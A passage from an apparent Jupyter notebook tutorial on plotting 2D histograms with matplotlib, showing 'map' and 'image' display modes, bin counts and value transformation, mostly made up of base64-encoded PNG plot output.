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\n", "text/plain": [ "<Figure size 864x288 with 5 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "fig, axes = plt.subplots(1, 3, figsize=(12, 4))\n", "h2(x, y, 20, name=\"20 bins - map\").plot(\"map\", cmap=\"rainbow\", lw=0, alpha=1, ax=axes[0], show_colorbar=False)\n", "h2(x, y, 20, name=\"20 bins - image\").plot(\"image\", cmap=\"rainbow\", alpha=1, ax=axes[1])\n", "h2(x, y, 500, name=\"500 bins - image\").plot(\"image\", cmap=\"rainbow\", alpha=1, ax=axes[2]);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "See that the output is equivalent to map without lines." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Transformation\n", "\n", "Sometimes, the value range is too big to show details. Therefore, it may be of some use to transform the values by a function, e.g. logarithm." ] }, { "cell_type": "code", "execution_count": 17, "metadata": {}, "outputs": [ { "data": { "image/png": "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